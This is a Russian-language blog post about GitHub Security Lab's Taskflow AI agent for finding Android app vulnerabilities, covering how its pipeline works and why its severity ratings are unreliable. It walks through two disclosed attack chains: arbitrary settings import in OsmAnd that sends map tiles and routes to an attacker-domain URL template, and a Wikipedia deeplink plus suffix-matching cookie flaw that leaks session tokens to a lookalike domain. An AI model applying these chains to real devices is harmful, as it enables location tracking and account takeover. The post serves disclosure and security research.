Назад к блогу

AI-агенты в поиске уязвимостей: как GitHub Security Lab нашёл 24 бага в Android

AI-агенты в поиске уязвимостей: как GitHub Security Lab нашёл 24 бага в Android

GitHub Security Lab представил открытый AI-агент Taskflow, который помог обнаружить 24 уязвимости в Android-приложениях. Разбираем, как устроен пайплайн из YAML-шагов, почему он находит логические баги, а не только шаблонные ошибки, и почему финальная оценка серьёзности всё ещё остаётся за человеком.

Разбираем механику открытого AI-агента GitHub Security Lab Taskflow Agent: как из YAML-описаний собирается последовательность шагов, как агент определяет точки входа в Android-приложении и почему находки всё равно приходится проверять вручную. Нетривиальность в том, что агент ищет не только шаблонные классы ошибок, но и логические уязвимости, а слабое место у него ровно одно — оценка серьёзности.

Что такое taskflow и как он устроен

Taskflow — это способ автоматизировать, упаковать и делиться AI-промптами и рабочими процессами, которые исследователи безопасности считают эффективными. Он собирается из шагов, каждый из которых задаётся отдельным YAML-файлом.

Работа между шагами распределяется так. Один шаг берёт точки входа и разделяет их на мобильные и немобильные, чтобы ИИ работал с репозиториями разных типов приложений и понимал правильную поверхность атаки. Другой шаг задаёт список популярных классов уязвимостей, и LLM просят рассмотреть их в контексте каждой точки входа и компонента.

YAML-описание превращается в последовательность действий агента запуском скрипта:

./scripts/audit/run_mobile.sh myorg/myrepo

Входной параметр — репозиторий в формате myorg/myrepo. Результаты складываются в SQLite-таблицу audit_results, где строки с отметкой в столбце has_vulnerability считаются содержащими уязвимость.

Как запустить taskflows на своём проекте

Для запуска нужна лицензия GitHub Copilot, а промпты используют premium model requests. Выполнение порождает множество вызовов инструментов и легко израсходует большое количество токенов. Порядок шагов такой: перейти в репозиторий seclab-taskflows и запустить codespace, подождать несколько минут инициализации, затем в терминале выполнить ./scripts/audit/run_mobile.sh myorg/myrepo. На среднем по размеру репозитории это может занять час или два. По завершении открывается просмотрщик SQLite с результатами.

Роль CodeQL и code scanning

CodeQL представляет кодовую базу как базу данных и выполняет по ней запросы, чтобы находить уязвимости и ошибки; результаты показываются как оповещения code scanning в GitHub.

В пайплайне с ИИ-агентом CodeQL не участвует. Агент на базе LLM ищет уязвимости, разбивая исследование на шаги, и находит логические уязвимости с критическим влиянием, а не только общие классы ошибок. Результаты не объединяются автоматически: находки агента попадают в таблицу audit_results, и строки с отметкой в has_vulnerability далее требуют ручной проверки. Причина в том, что LLM хорошо находит уязвимости, но плохо оценивает серьёзность, поэтому каждую находку должен проверять исследователь безопасности, знающий мобильные приложения.

Механика поиска: как агент находит точки входа

Шаг gather_mobile_entry_point_info.yaml берёт точки входа и разделяет их на мобильные и немобильные. Это позволяет ИИ работать с репозиториями разных типов приложений — мобильных, веб-серверов, десктопных — и при этом понимать правильную поверхность атаки.

Дальше в classify_application_local.yaml задаётся список популярных классов уязвимостей, которые LLM рассматривает в контексте каждой точки входа и компонента. Для конкретных типов точек входа список уточняется: если на предыдущем шаге taskflow определил точку входа на основе intent, для неё задаётся список типичных intent-уязвимостей, таких как confused deputy или insecure broadcast.

Как агент фильтрует шум

Отдельного порога отсечения нет — фильтрация устроена иначе. Чтобы не пропустить очевидные уязвимости, используются строгий промпт и повторные запуски, а широкий промпт позволяет проявить креативность. При этом агент может возвращать низкоприоритетные и труднореализуемые проблемы, поэтому каждую находку должен проверять исследователь.

Точность оценки серьёзности страдает из-за смягчающих факторов, которые LLM трудно увидеть без явного указания создать proof of concept. Это требует нескольких запусков — не только для поиска уязвимостей, но и для создания proof of concept, что заставляет LLM пытаться проэксплуатировать уязвимость.

Кейс 1: OsmAnd — импорт настроек и утечка тайлов

Импорт произвольных настроек

Функция handleOsmAndSettingsImport принимает Uri, имя файла и Bundle extras; сначала из имени файла удаляется ZIP_EXT. Затем проверяется, содержит ли extras хотя бы один из ключей SETTINGS_VERSION_KEY или SETTINGS_LATEST_CHANGES_KEY. Если да, из extras читаются version (int, по умолчанию -1), latestChanges (String), replace (boolean), silentImport (boolean) и exportTypeKeys (ArrayList<String>), после чего вызывается перегрузка handleOsmAndSettingsImport с этими значениями. Если условие не выполнено, вызывается та же перегрузка с безопасными значениями: null, false, false, null, -1.

Два параметра определяют последствия: silentImport позволяет импортировать без уведомления, replace — заменять, а не только добавлять настройки. Поскольку MapActivity экспортирована, любое приложение может отправить intent с произвольными extras, и Android не предоставляет механизма ограничить, какие extras может задать внешний вызывающий. Это и позволяет импортировать произвольные настройки.

Подмена tile-URL

URL тайла формируется подстановкой строковых zoom, x и y в шаблон:

MessageFormat.format(urlTemplate, zoom + "", x + "", y + "")

По умолчанию OsmAnd использует локальные тайлы, но их можно перезаписать, задав URL вида f"{ATTACKER_DOMAIN}/tiles/{{0}}/{{1}}/{{2}}.png", где {0}, {1}, {2} — места для zoom, x, y. Замена локальных тайлов на удалённые с attacker-домена происходит после импорта произвольных настроек. В результате сервер атакующего получает точные координаты x, y каждого загруженного тайла, а серверная часть отдаёт соответствующее изображение тайла из OpenStreetMaps, так что пользователь не замечает изменения настроек.

Что утекает

Утекают координаты тайла x и y, которые подставляются в шаблон URL вместо плейсхолдеров. В логе вида [TILE #1] 14:23:07 z=15 x=9649 y=12320 показаны z=15, x=9649, y=12320, а также вычисленный центр center: 40.70979, -73.98743 и ссылка на OpenStreetMap с этими же координатами. То есть по x, y и z определяется географическая точка — центр тайла — в виде широты и долготы.

Утечка маршрутов

Та же уязвимость позволяет получить origin и destination каждого маршрута, который пользователь строит в OsmAnd, и отправить их на сервер атакующего без заметных для пользователя изменений. В логе маршрута формируется путь вида /osrm/car/-122.084,37.4219983;-122.32450103759766,37.99944305419922, где vehicle=car и waypoints=2. В этот же лог попадают координаты ORIGIN 37.421998, -122.084000 и DESTINATION 37.999443, -122.324501, а также ссылки на OpenStreetMap для каждой точки.

Кейс 2: Wikipedia — захват аккаунта через deeplink

Перенаправление на произвольный сайт

Функция handleIntent принимает Intent и срабатывает только при одновременном выполнении двух условий: действие равно Intent.ACTION_VIEW и intent.data не равно null. Если условия выполнены, берётся URI из intent.data и проверяется, заканчивается ли его authority на WikiSite.BASE_DOMAIN; при совпадении URI преобразуется заменой префикса "wikipedia://" на WikiSite.DEFAULT_SCHEME + "://", после чего запускается PageActivity с действием ACTION_VIEW и этим URI.

Примитив перенаправления на произвольный сайт возникает из-за логической ошибки в парсере hostname, позволяющей загружать не-Wikipedia URL через deeplink wikipedia://. Пользователь думает, что находится на странице Wikipedia, а на самом деле — на подконтрольной атакующему странице, где может исполняться произвольный JavaScript в WebView приложения.

Утечка cookies

Проверка domain.endsWith(domainSpec) сравнивает строку домена с ожидаемым суффиксом и, если домен заканчивается на этот суффикс, добавляет cookies для этого domainSpec в список:

if (domain.endsWith(domainSpec)) { buildCookieList(cookieList, cookiesForDomainSpec, null) }

Так как проверка не требует точного совпадения, домен вида evil-wikipedia.org тоже заканчивается на wikipedia.org, поэтому приложение отдаёт cookies, предназначенные для wikipedia.org, стороннему домену.

В сочетании с deeplink цепочка работает так: жертва открывает вредоносную страницу с deeplink и нажимает на него; приложение Wikipedia автоматически открывается и загружает контролируемую атакующим страницу, заканчивающуюся на wikipedia.org, например evil-wikipedia.org. Жертва думает, что это страница Wikipedia, а приложение автоматически отправляет её cookies. В результате атакующий получает имя пользователя жертвы, долгоживущий токен и session token, действительный во всех проектах Wikimedia.

Что именно утекает и что видит пользователь

Утекают все cookies страницы Wikipedia, которые являются долгоживущими, для домена wikipedia.org. Атакующий получает доступ к имени пользователя жертвы, долгоживущему токену и сессионному токену, действительному во всех проектах Wikimedia (все Википедии, Commons, Wikidata, Meta и т.д.).

Пользователь видит, как приложение Wikipedia автоматически открывается и загружает контролируемую атакующим страницу, заканчивающуюся на wikipedia.org, например evil-wikipedia.org; жертва думает, что это страница Wikipedia, и приложение автоматически отправляет cookies пользователя.

Ограничения LLM-агента: что он умеет и где ошибается

LLM хорошо находит уязвимости, включая логические с критическим влиянием, но плохо оценивает их серьёзность. Он возвращает проблемы, требующие почти невоспроизводимых состояний, и часто сообщает о низкоопасных уязвимостях даже при явной просьбе этого не делать, поэтому каждую находку должен проверять исследователь безопасности.

Оценка серьёзности часто неверна, потому что реальное влияние меняется из-за смягчающих факторов, которые LLM трудно увидеть без явного запроса на создание proof of concept. Пример: path traversal в Android-приложении, где путь ограничен внешним хранилищем, имеет низкую относительную серьёзность. Ещё пример: если приложение использует данные и из внутреннего, и из внешнего хранилища, внутренние данные часто имеют приоритет, и LLM может ошибочно решить, что записанные через path traversal внешние данные изменят данные приложения, хотя внутреннее хранилище перезаписывает их — тогда уязвимости нет вовсе.

Такие сложные поведения ведут к ложным срабатываниям, и пока единственный способ исправить это — дать LLM отладчик для запуска proof of concept и исходного кода либо попросить исследователя специально искать такие проблемы. На приоритизацию это влияет так: из-за ложных срабатываний и неверной оценки серьёзности находки нужно проверять вручную, а на уязвимости со слабым влиянием модель может тратить дополнительное время.

Практика: как воспроизвести и что делать мейнтейнерам

Чтобы запустить taskflows на своём репозитории, мейнтейнеру нужно перейти в репозиторий seclab-taskflows и запустить codespace, подождать несколько минут инициализации, затем в терминале выполнить ./scripts/audit/run_mobile.sh myorg/myrepo. Требуется лицензия GitHub Copilot, а промпты используют premium-запросы, что может израсходовать много токенов. По завершении откроется SQLite-просмотрщик с результатами; в таблице audit_results нужно искать строки с галочкой в столбце has_vulnerability.

Отдельно стоит учитывать ограничения CodeQL по языкам. Он поддерживает C/C++, C#, Go, Java/Kotlin, JavaScript/TypeScript, Python, Ruby, Rust, Swift и GitHub Actions workflows. Чтобы указать, какой язык анализировать, в конфигурации используются идентификаторы: java-kotlin — для Java и Kotlin, javascript-typescript — для JavaScript и TypeScript. CodeQL не поддерживает языки, не перечисленные выше, включая PHP и Scala; попытка использовать неподдерживаемые языки может привести к отсутствию алертов и неполному анализу. Для кастомных или нишевых фреймворков можно использовать расширение CodeQL для Visual Studio Code, чтобы создавать модели зависимостей и расширять анализ.

Что из этого следует на практике

  • Находки агента — это вход в ручную проверку, а не готовый список. LLM хорошо находит уязвимости, но плохо оценивает серьёзность, поэтому каждую находку должен проверять исследователь безопасности, знающий мобильные приложения.
  • Оценку серьёзности нужно выносить в отдельный шаг с proof of concept. Смягчающие факторы LLM трудно увидеть без явного запроса «create a proof of concept», а это требует нескольких запусков и заставляет модель пытаться проэксплуатировать уязвимость.
  • Ложные срабатывания предсказуемы там, где есть приоритет источников данных. Если внутреннее хранилище перезаписывает подконтрольные атакующему внешние данные, уязвимости нет вовсе — такие случаи ведут к ложным срабатываниям.
  • Разделение точек входа на мобильные и немобильные — то, что делает агент применимым к репозиториям разных типов. Один и тот же пайплайн работает и на мобильном приложении, и на веб-сервере, и на десктопном приложении, сохраняя понимание правильной поверхности атаки.
  • Запуск стоит токенов и времени. Нужна лицензия GitHub Copilot, промпты используют premium model requests, выполнение порождает множество вызовов инструментов, а на среднем репозитории уходит час или два.
  • Строгий и широкий промпты решают разные задачи. Строгий вместе с повторными запусками не даёт пропустить очевидные уязвимости, широкий — позволяет проявить креативность; оба нужны.
  • Ограничения CodeQL по языкам надо проверять до запуска. Для неподдерживаемых языков алерты могут не генерироваться вовсе, а анализ будет неполным.

Источники

Похожее